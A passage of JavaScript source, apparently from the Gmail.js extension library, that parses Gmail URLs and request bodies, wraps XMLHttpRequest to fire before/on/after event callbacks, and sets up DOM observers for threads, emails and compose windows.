/[?&]([^=#]+)=([^]*)/g;\n var params = {};\n var match = regex.exec(url);\n\n while (match) {\n params[match[1]] = match[2];\n match = regex.exec(url);\n }\n\n return params;\n };\n\n api.tools.sleep = function(milliseconds) {\n var start = new Date().getTime();\n while(true) {\n if ((new Date().getTime() - start) > milliseconds){\n break;\n }\n }\n };\n\n\n api.tools.multitry = function(delay, tries, func, check, counter, retval) {\n if(counter !== undefined && counter >= tries) {\n return retval;\n }\n\n counter = (counter === undefined) ? 0 : counter;\n\n var value = func();\n\n if(check(value)) {\n return value;\n } else {\n api.tools.sleep(delay);\n api.tools.multitry(delay, tries, func, check, counter+1, value);\n }\n };\n\n\n api.tools.deparam = function (params, coerce) {\n\n var each = function (arr, fnc) {\n var data = [];\n for (var i = 0; i < arr.length; i++) {\n data.push(fnc(arr[i]));\n }\n return data;\n };\n\n var isArray = Array.isArray || function(obj) {\n return Object.prototype.toString.call(obj) === \"[object Array]\";\n };\n\n var obj = {},\n coerce_types = {\n \"true\": !0,\n \"false\": !1,\n \"null\": null\n };\n each(params.replace(/\\+/g, \" \").split(\"&\"), function (v, j) {\n var param = v.split(\"=\"),\n key = decodeURIComponent(param[0]),\n val,\n cur = obj,\n i = 0,\n keys = key.split(\"][\"),\n keys_last = keys.length - 1;\n if (/\\[/.test(keys[0]) && /\\]$/.test(keys[keys_last])) {\n keys[keys_last] = keys[keys_last].replace(/\\]$/, \"\");\n keys = keys.shift().split(\"[\").concat(keys);\n keys_last = keys.length - 1;\n } else {\n keys_last = 0;\n }\n if (param.length === 2) {\n val = decodeURIComponent(param[1]);\n if (coerce) {\n val = val && !isNaN(val) ? +val : val === \"undefined\" ? undefined : coerce_types[val] !== undefined ? coerce_types[val] : val;\n }\n if (keys_last) {\n for (; i <= keys_last; i++) {\n key = keys[i] === \"\" ? cur.length : keys[i];\n cur = cur[key] = i < keys_last ? cur[key] || (keys[i + 1] && isNaN(keys[i + 1]) ? {} : []) : val;\n }\n } else {\n if (isArray(obj[key])) {\n obj[key].push(val);\n } else if (obj[key] !== undefined) {\n obj[key] = [obj[key], val];\n } else {\n obj[key] = val;\n }\n }\n } else if (key) {\n obj[key] = coerce ? undefined : \"\";\n }\n });\n return obj;\n };\n\n api.tools.parse_actions = function(params, xhr) {\n\n // upload_attachment event - if found, don\"t check other observers. See issue #22\n if(params.url.act === \"fup\" || params.url.act === \"fuv\" || params.body_is_object) {\n return params.body_is_object && api.observe.bound(\"upload_attachment\") ? { upload_attachment: [ params.body_params ] } : false; // trigger attachment event\n }\n\n if(params.url.search !== undefined) {\n // console.log(params.url, params.body, params.url_raw);\n }\n\n var triggered = {}; // store an object of event_name: [response_args] for events triggered by parsing the actions\n var action_map = {\n \"tae\" : \"add_to_tasks\",\n \"rc_^i\" : \"archive\",\n \"tr\" : \"delete\",\n \"dm\" : \"delete_message_in_thread\",\n \"dl\" : \"delete_forever\",\n \"dc_\" : \"delete_label\",\n \"dr\" : \"discard_draft\",\n \"el\" : \"expand_categories\",\n \"cffm\" : \"filter_messages_like_these\",\n \"arl\" : \"label\",\n \"mai\" : \"mark_as_important\",\n \"mani\" : \"mark_as_not_important\",\n \"us\" : \"mark_as_not_spam\",\n \"sp\" : \"mark_as_spam\",\n \"mt\" : \"move_label\",\n \"ib\" : \"move_to_inbox\",\n \"ig\" : \"mute\",\n \"rd\" : \"read\",\n \"sd\" : \"save_draft\",\n \"sm\" : \"send_message\",\n \"mo\" : \"show_newly_arrived_message\",\n \"st\" : \"star\",\n \"cs\" : \"undo_send\",\n \"ug\" : \"unmute\",\n \"ur\" : \"unread\",\n \"xst\" : \"unstar\",\n \"new_mail\" : \"new_email\",\n \"poll\" : \"poll\",\n \"refresh\" : \"refresh\",\n \"rtr\" : \"restore_message_in_thread\",\n \"open_email\" : \"open_email\",\n \"toggle_threads\" : \"toggle_threads\"\n };\n\n if(typeof params.url.ik === \"string\") {\n api.tracker.ik = params.url.ik;\n }\n\n if(typeof params.url.at === \"string\") {\n api.tracker.at = params.url.at;\n }\n\n if(typeof params.url.rid === \"string\") {\n if(params.url.rid.indexOf(\"mail\") !== -1) {\n api.tracker.rid = params.url.rid;\n }\n }\n\n var action = decodeURIComponent(params.url.act);\n var sent_params = params.body_params;\n var email_ids = (typeof sent_params.t === \"string\") ? [sent_params.t] : sent_params.t;\n var response = null;\n\n switch(action) {\n case \"cs\":\n case \"ur\":\n case \"rd\":\n case \"tr\":\n case \"sp\":\n case \"us\":\n case \"ib\":\n case \"dl\":\n case \"st\":\n case \"xst\":\n case \"mai\":\n case \"mani\":\n case \"ig\":\n case \"ug\":\n case \"dr\":\n case \"mt\":\n case \"cffm\":\n case \"rc_^i\":\n response = [email_ids, params.url, params.body];\n break;\n\n case \"arl\":\n response = [email_ids, params.url, params.body, params.url.acn];\n break;\n\n case \"sd\":\n response = [email_ids, params.url, sent_params];\n break;\n\n case \"tae\":\n case \"sm\":\n response = [params.url, params.body, sent_params];\n break;\n\n case \"el\":\n response = [params.url, params.body, sent_params.ex === \"1\"];\n break;\n\n case \"dm\":\n case \"rtr\":\n case \"mo\":\n response = [sent_params.m, params.url, params.body];\n break;\n\n }\n\n if(typeof params.url._reqid === \"string\" && params.url.view === \"tl\" && params.url.auto !== undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"new_email\")) {\n triggered.new_email = response;\n }\n }\n\n if((params.url.view === \"cv\" || params.url.view === \"ad\") && typeof params.url.th === \"string\" && typeof params.url.search === \"string\" && params.url.rid === undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"open_email\")) {\n triggered.open_email = response;\n }\n }\n\n if((params.url.view === \"cv\" || params.url.view === \"ad\") && typeof params.url.th === \"object\" && typeof params.url.search === \"string\" && params.url.rid !== undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"toggle_threads\")) {\n triggered.toggle_threads = response;\n }\n }\n\n if((params.url.view === \"cv\" || params.url.view === \"ad\") && typeof params.url.th === \"string\" && typeof params.url.search === \"string\" && params.url.rid !== undefined) {\n if(params.url.msgs !== undefined) {\n response = [params.url.th, params.url, params.body];\n if(api.observe.bound(\"toggle_threads\")) {\n triggered.toggle_threads = response;\n }\n }\n }\n\n if(typeof params.url.SID === \"string\" && typeof params.url.zx === \"string\" && params.body.indexOf(\"req0_\") !== -1) {\n api.tracker.SID = params.url.SID;\n response = [params.url, params.body, sent_params];\n if(api.observe.bound(\"poll\")) {\n triggered.poll = response;\n }\n }\n\n if(typeof params.url.ik === \"string\" && typeof params.url.search === \"string\" && params.body.length === 0 && typeof params.url._reqid === \"string\") {\n response = [params.url, params.body, sent_params];\n if(api.observe.bound(\"refresh\")) {\n triggered.refresh = response;\n }\n }\n\n if(response && action_map[action] && api.observe.bound(action_map[action])) {\n triggered[action_map[action]] = response;\n }\n\n if(params.method === \"POST\" && (typeof params.url.SID === \"string\"\n || typeof params.url.ik === \"string\"\n || typeof params.url.act === \"string\")) {\n triggered.http_event = [params]; // send every event and all data\n }\n\n return triggered;\n };\n\n api.tools.parse_response = function(response) {\n var parsedResponse = [],\n data, dataLength, endIndex, realData;\n\n try {\n\n // gmail post response structure\n // )}]\"\\n\\n...\n\n // prepare response, remove eval protectors\n response = response.replace(/\\n/g, \" \");\n response = response.substring(response.indexOf(\"'\") + 1, response.length);\n\n while(response.replace(/\\s/g, \"\").length > 1) {\n\n // how long is the data to get\n dataLength = response.substring(0, response.indexOf(\"[\")).replace(/\\s/g, \"\");\n if (!dataLength) {dataLength = response.length;}\n\n endIndex = (parseInt(dataLength, 10) - 2) + response.indexOf(\"[\");\n data = response.substring(response.indexOf(\"[\"), endIndex);\n\n var json = JSON.parse(data);\n parsedResponse.push(json);\n\n // prepare response for next loop\n response = response.substring(response.indexOf(\"[\"), response.length);\n response = response.substring(data.length, response.length);\n }\n } catch (e) {\n console.log(\"Gmail post response parsing failed.\", e);\n }\n\n return parsedResponse;\n };\n\n /**\n parses a download_url attribute from the attachments main span-element.\n */\n api.tools.parse_attachment_url = function(url) {\n var parts = url.split(\":\");\n return {\n type: parts[0],\n name: parts[1],\n url: parts[2] + \":\" + parts[3]\n };\n };\n\n /**\n Node-friendly function to extend objects without depending on jQuery\n (which requires a browser-context)\n */\n var extend = function(target, extension) {\n for (var key in extension) {\n target[key] = extension[key];\n }\n };\n\n /**\n Node-friendly function to merge arrays without depending on jQuery\n (which requires a browser-context).\n\n All subsequent arrays are merged into the first one, to match\n $.merge's behaviour.\n */\n var merge = function(target, mergee) {\n\n for (var i=0; i < mergee.length; i++) {\n var value = mergee[i];\n target.push(value);\n }\n\n return target;\n };\n\n api.tools.parse_requests = function(params, xhr) {\n params.url_raw = params.url;\n params.url = api.tools.parse_url(params.url);\n if(typeof params.body === \"object\") {\n params.body_params = params.body;\n params.body_is_object = true;\n } else {\n params.body_params = api.tools.deparam(params.body);\n }\n\n if(typeof api.tracker.events !== \"object\" && typeof api.tracker.actions !== \"object\") {\n api.tracker.events = [];\n api.tracker.actions = [];\n }\n\n api.tracker.events.unshift(params);\n var events = api.tools.parse_actions(params, xhr);\n\n if(params.method === \"POST\" && typeof params.url.act === \"string\") {\n api.tracker.actions.unshift(params);\n }\n\n if(api.tracker.events.length > 50) {\n api.tracker.events.pop();\n }\n\n if(api.tracker.actions.length > 10) {\n api.tracker.actions.pop();\n }\n return events;\n };\n\n\n api.tools.xhr_watcher = function () {\n if (!api.tracker.xhr_init) {\n api.tracker.xhr_init = true;\n var js_frame = null;\n if (top.document.getElementById(\"js_frame\")){\n js_frame = top.document.getElementById(\"js_frame\");\n } else if (window.opener) {\n js_frame = window.opener.top.document.getElementById(\"js_frame\");\n }\n if (!js_frame){\n throw \"Cannot register the xhr watcher as mail.google.com is not fully loaded yet. Please wrap your code in `gmail.observe.on(\\\"load\\\")`\";\n }\n var win = js_frame.contentDocument.defaultView;\n\n if (!win.gjs_XMLHttpRequest_open) {\n win.gjs_XMLHttpRequest_open = win.XMLHttpRequest.prototype.open;\n }\n\n win.XMLHttpRequest.prototype.open = function (method, url, async, user, password) {\n var out = win.gjs_XMLHttpRequest_open.apply(this, arguments);\n this.xhrParams = {\n method: method.toString(),\n url: url.toString()\n };\n return out;\n };\n\n if (!win.gjs_XMLHttpRequest_send) {\n win.gjs_XMLHttpRequest_send = win.XMLHttpRequest.prototype.send;\n }\n\n win.XMLHttpRequest.prototype.send = function (body) {\n // parse the xhr request to determine if any events should be triggered\n var events = false;\n if (this.xhrParams) {\n this.xhrParams.body = body;\n events = api.tools.parse_requests(this.xhrParams, this);\n }\n\n // fire before events\n if(api.observe.trigger(\"before\", events, this)) {\n\n // if before events were fired, rebuild arguments[0]/body strings\n // TODO: recreate the url if we want to support manipulating url args (is there a use case where this would be needed?)\n body = arguments[0] = this.xhrParams.body_is_object ? this.xhrParams.body_params : $.param(this.xhrParams.body_params,true).replace(/\\+/g, \"%20\");\n }\n\n // if any matching after events, bind onreadystatechange callback\n if(api.observe.bound(events,\"after\")) {\n var curr_onreadystatechange = this.onreadystatechange;\n var xhr = this;\n this.onreadystatechange = function(progress) {\n if (this.readyState === this.DONE) {\n xhr.xhrResponse = api.tools.parse_response(progress.target.responseText);\n api.observe.trigger(\"after\", events, xhr);\n }\n if (curr_onreadystatechange) {\n curr_onreadystatechange.apply(this, arguments);\n }\n };\n }\n\n // send the original request\n var out = win.gjs_XMLHttpRequest_send.apply(this, arguments);\n\n // fire on events\n api.observe.trigger(\"on\", events, this);\n return out;\n };\n }\n };\n\n\n api.observe.http_requests = function() {\n return api.tracker.events;\n };\n\n\n api.observe.actions = function() {\n return api.tracker.actions;\n };\n\n /**\n Bind a specified callback to an array of callbacks against a specified type & action\n */\n api.observe.bind = function(type, action, callback) {\n\n // set up watchdog data structure\n if(typeof api.tracker.watchdog !== \"object\") {\n api.tracker.watchdog = {\n before: {},\n on: {},\n after: {},\n dom: {}\n };\n api.tracker.bound = {};\n }\n if(typeof api.tracker.watchdog[type] !== \"object\") {\n api.tools.error(\"api.observe.bind called with invalid type: \" + type);\n }\n\n // ensure we are watching xhr requests\n if(type !== \"dom\" && !api.tracker.xhr_init) {\n api.tools.xhr_watcher();\n }\n\n // add callback to an array in the watchdog\n if(typeof api.tracker.watchdog[type][action] !== \"object\") {\n api.tracker.watchdog[type][action] = [];\n }\n api.tracker.watchdog[type][action].push(callback);\n\n // allow checking for bound events to specific action/type as efficiently as possible (without in looping) - bit dirtier code,\n // but lookups (api.observer.bound) are executed by the hundreds & I think the extra efficiency is worth the tradeoff\n api.tracker.bound[action] = typeof api.tracker.bound[action] === \"undefined\" ? 1 : api.tracker.bound[action]+1;\n api.tracker.bound[type] = typeof api.tracker.bound[type] === \"undefined\" ? 1 : api.tracker.bound[type]+1;\n //api.tracker.watchdog[action] = callback;\n };\n\n /**\n an on event is observed just after gmail sends an xhr request\n */\n api.observe.on = function(action, callback, response_callback) {\n\n // check for DOM observer actions, and if none found, the assume an XHR observer\n if(api.observe.on_dom(action, callback)) return true;\n\n // bind xhr observers\n api.observe.bind(\"on\", action, callback);\n if (response_callback) {\n api.observe.after(action, callback);\n }\n };\n\n /**\n an before event is observed just prior to the gmail xhr request being sent\n before events have the ability to modify the xhr request before it is sent\n */\n api.observe.before = function(action, callback) {\n api.observe.bind(\"before\", action, callback);\n };\n\n /**\n an after event is observed when the gmail xhr request returns from the server\n with the server response\n */\n api.observe.after = function(action, callback) {\n api.observe.bind(\"after\", action, callback);\n };\n\n /**\n Checks if a specified action & type has anything bound to it\n If type is null, will check for this action bound on any type\n If action is null, will check for any actions bound to a type\n */\n api.observe.bound = function(action, type) {\n if (typeof api.tracker.watchdog !== \"object\") return false;\n if (action) {\n\n // if an object of actions (triggered events of format { event: [response] }) is passed, check if any of these are bound\n if(typeof action === \"object\") {\n var match = false;\n $.each(action,function(key,response){\n if(typeof api.tracker.watchdog[type][key] === \"object\") match = true;\n });\n return match;\n }\n if(type) return typeof api.tracker.watchdog[type][action] === \"object\";\n return api.tracker.bound[action] > 0;\n } else {\n if(type) return api.tracker.bound[type] > 0;\n api.tools.error(\"api.observe.bound called with invalid args\");\n }\n };\n\n /**\n Clear all callbacks for a specific type (before, on, after, dom) and action\n If action is null, all actions will be cleared\n If type is null, all types will be cleared\n */\n api.observe.off = function(action, type) {\n\n // if watchdog is not set, bind has not yet been called so nothing to turn off\n if(typeof api.tracker.watchdog !== \"object\") return true;\n\n // loop through applicable types\n var types = type ? [ type ] : [ \"before\", \"on\", \"after\", \"dom\" ];\n $.each(types, function(idx, type) {\n if(typeof api.tracker.watchdog[type] !== \"object\") return true; // no callbacks for this type\n\n // if action specified, remove any callbacks for this action, otherwise remove all callbacks for all actions\n if(action) {\n if(typeof api.tracker.watchdog[type][action] === \"object\") {\n api.tracker.bound[action] -= api.tracker.watchdog[type][action].length;\n api.tracker.bound[type] -= api.tracker.watchdog[type][action].length;\n delete api.tracker.watchdog[type][action];\n }\n } else {\n $.each(api.tracker.watchdog[type], function(act,callbacks) {\n if(typeof api.tracker.watchdog[type][act] === \"object\") {\n api.tracker.bound[act] -= api.tracker.watchdog[type][act].length;\n api.tracker.bound[type] -= api.tracker.watchdog[type][act].length;\n delete api.tracker.watchdog[type][act];\n }\n });\n }\n });\n };\n\n /**\n Trigger any specified events bound to the passed type\n Returns true or false depending if any events were fired\n */\n api.observe.trigger = function(type, events, xhr) {\n if(!events) return false;\n var fired = false;\n $.each(events, function(action,response) {\n\n // we have to do this here each time to keep backwards compatibility with old response_callback implementation\n response = $.extend([], response); // break the reference so it doesn\"t keep growing each trigger\n if(type === \"after\") response.push(xhr.xhrResponse); // backwards compat for after events requires we push onreadystatechange parsed response first\n response.push(xhr);\n if(api.observe.bound(action, type)) {\n fired = true;\n $.each(api.tracker.watchdog[type][action], function(idx, callback) {\n callback.apply(undefined, response);\n });\n }\n });\n return fired;\n };\n\n /**\n Trigger any specified DOM events passing a specified element & optional handler\n */\n api.observe.trigger_dom = function(observer, element, handler) {\n\n // if no defined handler, just call the callback\n if (!handler) {\n handler = function(match, callback) {\n callback(match);\n };\n }\n if (!api.tracker.watchdog.dom[observer]) {\n return;\n }\n $.each(api.tracker.watchdog.dom[observer], function(idx, callback) {\n handler(element, callback);\n });\n };\n\n // pre-configured DOM observers\n // map observers to DOM class names\n // as elements are inserted into the DOM, these classes will be checked for and mapped events triggered,\n // receiving \"e\" event object, and a jquery bound inserted DOM element\n // NOTE: supported observers and sub_observers must be registered in the supported_observers array as well as the dom_observers config\n // Config example: event_name: {\n // class: \"className\", // required - check for this className in the inserted DOM element\n // selector: \"div.className#myId\", // if you need to match more than just the className of a specific element to indicate a match, you can use this selector for further checking (uses element.is(selector) on matched element). E.g. if there are multiple elements with a class indicating an observer should fire, but you only want it to fire on a specific id, then you would use this\n // sub_selector: \"div.className\", // if specified, we do a jquery element.find for the passed selector on the inserted element and ensure we can find a match\n // handler: function( matchElement, callback ) {}, // if specified this handler is called if a match is found. Otherwise default calls the callback & passes the jQuery matchElement\n // sub_observers: { }, // hash of event_name: config_hash\"s - config hash supports all properties of this config hash. Observer will be bound as DOMNodeInserted to the matching class+sub_selector element.\n // },\n // TODO: current limitation allows only 1 action per watched className (i.e. each watched class must be\n // unique). If this functionality is needed this can be worked around by pushing actions to an array\n // in api.tracker.dom_observer_map below\n // console.log( \"Observer set for\", action, callback);\n api.observe.initialize_dom_observers = function() {\n api.tracker.dom_observer_init = true;\n api.tracker.supported_observers = [\"view_thread\", \"view_email\", \"load_email_menu\", \"recipient_change\", \"compose\"];\n api.tracker.dom_observers = {\n\n // when a thread is clicked on in a mailbox for viewing - note: this should fire at a similar time (directly after) as the open_email XHR observer\n // which is triggered by the XHR request rather than nodes being inserted into the DOM (and thus returns different information)\n \"view_thread\": {\n class: [\"Bu\", \"nH\"], // class depends if is_preview_pane - Bu for preview pane, nH for standard view\n sub_selector: \"div.if\",\n handler: function(match, callback) {\n match = new api.dom.thread(match);\n callback(match);\n\n // look for any email elements in this thread that are currently displaying\n // and fire off any view_email sub_observers for each of them\n var email = match.dom(\"opened_email\");\n if (email.length) {\n api.observe.trigger_dom(\"view_email\", email, api.tracker.dom_observers.view_thread.sub_observers.view_email.handler);\n }\n },\n sub_observers: {\n\n // when an individual email is loaded within a thread (also fires when thread loads displaying the latest email)\n \"view_email\": {\n class: \"\",\n sub_selector: \"div.adn\",\n handler: function(match, callback) {\n match = new api.dom.email(match);\n callback(match);\n }\n },\n\n // when the dropdown menu next to the reply button is inserted into the DOM when viewing an email\n \"load_email_menu\": {\n class: \"J-N\",\n selector: \"div[role=menu] div[role=menuitem]:first-child\", // use the first menu item in the popoup as the indicator to trigger this observer\n handler: function(match, callback) {\n match = match.closest(\"div[role=menu]\");\n callback(match);\n }\n }\n }\n },\n\n // a new email address is added to any of the to,cc,bcc fields when composing a new email or replying/forwarding\n \"recipient_change\": {\n class: \"vR\",\n handler: function(match, callback) {\n // console.log(\"compose:recipient handler called\",match,callback);\n\n // we need to small delay on the execution of the handler as when the recipients field initialises on a reply (or reinstated compose/draft)\n // then multiple DOM elements will be inserted for each recipient causing this handler to execute multiple times\n // in reality we only want a single callback, so give other nodes time to be inserted & then only execute the callback once\n if(typeof api.tracker.recipient_matches !== \"object\") {\n api.tracker.recipient_matches = [];\n }\n api.tracker.recipient_matches.push(match);\n setTimeout(function(){\n // console.log(\"recipient timeout handler\", api.tracker.recipient_matches.length);\n if(!api.tracker.recipient_matches.length) return;\n\n // determine an array of all emails specified for To, CC and BCC and extract addresses into an object for the callback\n var compose = new api.dom.compose(api.tracker.recipient_matches[0].closest(\"div.M9\"));\n var recipients = compose.recipients();\n callback(compose, recipients, api.tracker.recipient_matches);\n\n // reset matches so no future delayed instances of this function execute\n api.tracker.recipient_matches = [];\n },100);\n }\n },\n\n // this will fire if a new compose, reply or forward is created. it won\"t fire if a reply changes to a forward & vice versa\n // passes a type of compose, reply, or forward to the callback\n \"compose\": {\n class: \"An\", // M9 would be better but this isn\"t set at the point of insertion\n handler: function(match, callback) {\n // console.log(\"reply_forward handler called\", match, callback);\n\n var originalMatch = match;\n // look back up the DOM tree for M9 (the main reply/forward node)\n match = match.closest(\"div.M9\");\n if (!match.length) return;\n match = new api.dom.compose(match);\n var type;\n if (match.is_inline()) {\n type = match.find(\"input[name=subject]\").val().indexOf(\"Fw\") === 0 ? \"forward\" : \"reply\";\n } else {\n type = \"compose\";\n\n //Find the close button and set an event listener so we can forward the compose_cancelled event.\n var composeWindow = originalMatch.closest(\"div.AD\");\n composeWindow.find(\".Ha\").mouseup(function() {\n if(api.tracker.composeCancelledCallback) {\n api.tracker.composeCancelledCallback(match);\n }\n return true;\n });\n\n }\n callback(match,type);\n }\n }\n };\n\n // support extending with custom observers\n if (api.tracker.custom_supported_observers) {\n $.merge(api.tracker.supported_observers, api.tracker.custom_supported_observers);\n $.extend(true, api.tracker.dom_observers, api.tracker.custom_dom_observers); // deep copy to copy in sub_observers where relevant\n }\n\n // map observed classNames to actions\n api.tracker.dom_observer_map = {};\n $.each(api.tracker.dom_observers, function(act,config){\n if(!$.isArray(config.class)) config.class = [config.class];\n $.each(config.class, function(idx, className) {\n api.tracker.dom_observer_map[className] = act;\n });\n });\n //console.log( \"observer_config\", api.tracker.dom_observers, \"dom_observer_map\", api.tracker.dom_observer_map);\n };\n\n /**\n Allow an application to register a custom DOM observer specific to their app.\n Adds it to the configured DOM observers and is supported by the dom insertion observer\n This method can be called two different ways:\n Args:\n action - the name of the new DOM observer\n className / args - for a simple observer, this arg can simply be the class on an inserted DOM element that identifies this event should be\n triggered. For a more complicated observer, this can be an object containing properties for each of the supported DOM observer config arguments\n parent - optional - if specified, this observer will be registered as a sub_observer for the specified parent\n */\n api.observe.register = function(action, args, parent) {\n\n // check observers configured\n if (api.tracker.dom_observer_init) {\n api.tools.error(\"Error: Please register all custom DOM observers before binding handlers using gmail.observe.on etc\");\n }\n if (!api.tracker.custom_supported_observers) {\n api.tracker.custom_supported_observers = [];\n api.tracker.custom_dom_observers = {};\n }\n\n // was an object of arguments passed, or just a className\n var config = {};\n if (typeof args === \"object\" && !$.isArray(args)) {\n\n // copy over supported config\n $.each([\"class\",\"selector\",\"sub_selector\",\"handler\"], function(idx, arg) {\n if(args[arg]) {\n config[arg] = args[arg];\n }\n });\n } else {\n config[\"class\"] = args;\n }\n api.tracker.custom_supported_observers.push(action);\n if (parent) {\n if (!api.tracker.custom_dom_observers[parent]) {\n api.tracker.custom_dom_observers[parent] = {sub_observers: {}};\n }\n api.tracker.custom_dom_observers[parent].sub_observers[action] = config;\n } else {\n api.tracker.custom_dom_observers[action] = config;\n }\n };\n\n /**\n Observe DOM nodes being inserted. When a node with a class defined in api.tracker.dom_observers is inserted,\n trigger the related event and fire off any relevant bound callbacks\n This function should return true if a dom observer is found for the specified action\n */\n api.observe.on_dom = function(action, callback) {\n\n // check observers configured\n if(!api.tracker.dom_observer_init) {\n api.observe.initialize_dom_observers();\n }\n\n // support for DOM observers\n if($.inArray(action, api.tracker.supported_observers) > -1) {\n\n //console.log(\"observer found\",api.tracker.dom_observers[action]);\n\n // if we haven\"t yet bound the DOM insertion observer, do it now\n if(!api.tracker.observing_dom) {\n api.tracker.observing_dom = true;\n //api.tracker.dom_watchdog = {}; // store passed observer callbacks for different DOM events\n\n // this listener will check every element inserted into the DOM\n // for specified classes (as defined in api.tracker.dom_observers above) which indicate\n // related actions which need triggering\n $(window.document).bind(\"DOMNodeInserted\", function(e) {\n api.tools.insertion_observer(e.target, api.tracker.dom_observers, api.tracker.dom_observer_map);\n });\n\n // recipient_change also needs to listen to removals\n var mutationObserver = new MutationObserver(function(mutations) {\n for (var i = 0; i < mutations.length; i++) {\n var mutation = mutations[i];\n var removedNodes = mutation.removedNodes;\n for (var j = 0; j < removedNodes.length; j++) {\n var removedNode = removedNodes[j];\n if (removedNode.className === \"vR\") {\n var observer = api.tracker.dom_observer_map[\"vR\"];\n var handler = api.tracker.dom_observers.recipient_change.handler;\n api.observe.trigger_dom(observer, $(mutation.target), handler);\n }\n }\n }\n });\n mutationObserver.observe(document.body, {subtree: true, childList: true});\n\n }\n api.observe.bind(\"dom\",action,callback);\n // console.log(api.tracker.observing_dom,\"dom_watchdog is now:\",api.tracker.dom_watchdog);\n return true;\n\n // support for gmail interface load event\n }\n else if(action === \"compose_cancelled\") {\n console.log(\"set compose cancelled callback\");\n api.tracker.composeCancelledCallback = callback;\n }\n else if(action === \"load\") {\n\n // wait until the gmail interface has finished loading and then\n // execute the passed handler. If interface is already loaded,\n // then will just execute callback\n if(api.dom.inbox_content().length) return callback();\n var load_count = 0;\n var delay = 200; // 200ms per check\n var attempts = 50; // try 50 times before giving up & assuming an error\n var timer = setInterval(function() {\n var test = api.dom.inbox_content().length;\n if(test > 0) {\n clearInterval(timer);\n return callback();\n } else if(++load_count > attempts) {\n clearInterval(timer);\n console.log(\"Failed to detect interface load in \" + (delay*attempts/1000) + \" seconds. Will automatically fire event in 5 further seconds.\");\n setTimeout(callback, 5000);\n }\n }, delay);\n return true;\n }\n };\n\n // observes every element inserted into the DOM by Gmail and looks at the classes on those elements,\n // checking for any configured observers related to those classes\n api.tools.insertion_observer = function(target, dom_observers, dom_observer_map, sub) {\n //console.log(\"insertion\", target, target.className);\n if(!api.tracker.dom_observer_map) return;\n\n // loop through each of the inserted elements classes & check for a defined observer on that class\n var cn = target.className || \"\";\n var classes = cn.trim().split(/\\s+/);\n if(!classes.length) classes.push(\"\"); // if no class, then check for anything observing nodes with no class\n $.each(classes, function(idx, className) {\n var observer = dom_observer_map[className];\n\n // check if this is a defined observer, and callbacks are bound to that observer\n if(observer && api.tracker.watchdog.dom[observer]) {\n var element = $(target);\n var config = dom_observers[observer];\n\n // if a config id specified for this observer, ensure it matches for this element\n if(config.selector && !element.is(config.selector)) {\n return;\n }\n\n // check for any defined sub_selector match - if not found, then this is not a match for this observer\n // if found, then set the matching element to be the one that matches the sub_selector\n if(config.sub_selector) {\n element = element.find(config.sub_selector);\n // console.log(\"checking for subselector\", config.sub_selector, element);\n }\n\n // if an element has been found, execute the observer handler (or if none defined, execute the callback)\n if(element.length) {\n\n var handler = config.handler ? config.handler : function(match, callback) { callback(match); };\n // console.log( \"inserted DOM: class match in watchdog\",observer,api.tracker.watchdog.dom[observer] );\n api.observe.trigger_dom(observer, element, handler);\n\n // if sub_observers are configured for this observer, bind a DOMNodeInsertion listener to this element & to check for specific elements being added to this particular element\n if(config.sub_observers) {\n\n // create observer_map for the sub_observers\n var observer_map = {};\n $.each(config.sub_observers, function(act,cfg){\n observer_map[cfg.class] = act;\n });\n\n // this listener will check every element inserted into the DOM below the current element\n // and repeat this method, but specifically below the current element rather than the global DOM\n element.bind(\"DOMNodeInserted\", function(e) {\n api.tools.insertion_observer(e.target, config.sub_observers, observer_map, \"SUB \");\n });\n }\n }\n }\n });\n };\n\n\n api.tools.make_request = function (_link, method, disable_cache) {\n var link = decodeURIComponent(_link.replace(/%23/g, \"#-#-#\"));\n method = method || \"GET\";\n\n link = encodeURI(link).replace(/#-#-#/gi, \"%23\");\n var config = {type: method, url: link, async: false};\n if (disable_cache) {\n config.cache = false;\n }\n var request = $.ajax(config);\n return request.responseText;\n };\n\n\n api.tools.make_request_async = function (_link, method, callback, error_callback, disable_cache) {\n var link = decodeURIComponent(_link.replace(/%23/g, \"#-#-#\"));\n method = method || \"GET\";\n\n link = encodeURI(link).replace(/#-#-#/gi, \"%23\");\n var config = {type: method, url: link, async: true, dataType: \"text\"};\n if (disable_cache){\n config.cache = false;\n }\n $.ajax(config)\n .done(function(data, textStatus, jqxhr) {\n callback(jqxhr.responseText);\n })\n .fail(function(jqxhr, textStatus, errorThrown) {\n console.error(\"Request Failed\", errorThrown);\n if (typeof error_callback === 'function'){\n error_callback(jqxhr, textStatus, errorThrown);\n }\n });\n };\n\n\n api.tools.parse_view_data = function(view_data) {\n var parsed = [];\n var data = [];\n\n for(var j=0; j < view_data.length; j++) {\n if(view_data[j][0] === \"tb\") {\n for(var k=0; k < view_data[j][2].length; k++) {\n data.push(view_data[j][2][k]);\n }\n }\n }\n\n for(var i=0; i < data.length; i++) {\n var x = data[i];\n\n parsed.push({\n id: x[0],\n title : x[9],\n excerpt : x[10],\n time : x[15],\n sender : x[28],\n attachment : x[13],\n labels: x[5]\n });\n }\n\n return parsed;\n };\n\n\n api.helper.get.is_delegated_inbox = function() {\n return api.tracker.globals[17][5][0] === \"fwd\";\n };\n\n\n api.helper.get.visible_emails_pre = function() {\n var page = api.get.current_page();\n var url = window.location.origin + window.location.pathname + \"?ui=2&ik=\" + api.tracker.ik+\"&rid=\" + api.tracker.rid + \"&view=tl&num=120&rt=1\";\n var start = $(\".aqK:visible .Dj\").find(\"span:first\").text().replace(\",\", \"\").replace(\".\", \"\");\n if (start) {\n start = parseInt(start - 1);\n url += \"&start=\" + start +\n \"&sstart=\" + start;\n } else {\n url += \"&start=0\";\n }\n\n var cat_label = \"\";\n\n if(page.indexOf(\"label/\") === 0) {\n url += \"&cat=\" + page.split(\"/\")[1] +\"&search=cat\";\n } else if(page.indexOf(\"category/\") === 0) {\n if(page.indexOf(\"forums\") !== -1) {\n cat_label = \"group\";\n } else if(page.indexOf(\"updates\") !== -1) {\n cat_label = \"notification\";\n } else if(page.indexOf(\"promotion\") !== -1) {\n cat_label = \"promo\";\n } else if(page.indexOf(\"social\") !== -1) {\n cat_label = \"social\";\n }\n url += \"&cat=^smartlabel_\" + cat_label +\"&search=category\";\n } else if(page.indexOf(\"search/\") === 0) {\n var at = $(\"input[name=at]\").val();\n url += \"&qs=true&q=\" + page.split(\"/\")[1] +\"&at=\" + at + \"&search=query\";\n } else if(page === \"inbox\"){\n if 